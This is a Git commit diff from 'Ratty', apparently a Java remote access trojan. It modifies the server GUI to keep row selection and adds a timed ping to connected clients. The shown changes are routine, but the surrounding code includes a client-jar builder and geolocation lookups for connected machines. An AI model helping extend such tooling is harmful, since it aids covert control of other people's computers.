Browse Source

Small changes

Hopefully fixed ping
master
Sogomn 9 years ago
parent
commit
26086ccf02
  1. 6
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  2. 28
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

6
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -208,7 +208,13 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
}
public void update() {
final int selectedRow = table.getSelectedRow();
tableModel.fireTableDataChanged();
if (selectedRow != -1) {
table.setRowSelectionInterval(selectedRow, selectedRow);
}
}
public void addRow(final ServerClient client) {

28
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -13,7 +13,10 @@ import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JOptionPane;
import de.sogomn.engine.Clock;
import de.sogomn.engine.fx.Sound;
import de.sogomn.engine.util.Scheduler;
import de.sogomn.engine.util.Scheduler.Task;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
import de.sogomn.rat.packet.AudioPacket;
@ -48,6 +51,10 @@ public final class RattyGuiController extends AbstractRattyController implements
private HashMap<ActiveConnection, ServerClient> clients;
private Clock clock;
private Scheduler scheduler;
private Task pingTask;
private static final String BUILDER_REPLACEMENT = "connection_data.txt";
private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
private static final String[] BUILDER_REMOVALS = {
@ -81,13 +88,34 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String AMOUNT_QUESTION = LANGUAGE.getString("server.amount_question");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
private static final float PING_INTERVAL = 3;
private static final Sound PING = Sound.loadSound("/ping.wav");
public RattyGuiController() {
gui = new RattyGui();
clients = new HashMap<ActiveConnection, ServerClient>();
clock = new Clock();
scheduler = new Scheduler();
pingTask = new Task(() -> {
final PingPacket packet = new PingPacket();
connections.forEach(connection -> connection.addPacket(packet));
pingTask.reset();
}, PING_INTERVAL);
final Thread pingThread = new Thread(() -> {
while (true) {
clock.update();
}
});
pingThread.setDaemon(true);
pingThread.start();
scheduler.addTask(pingTask);
clock.addListener(scheduler);
gui.addListener(this);
}

Loading…
Cancel
Save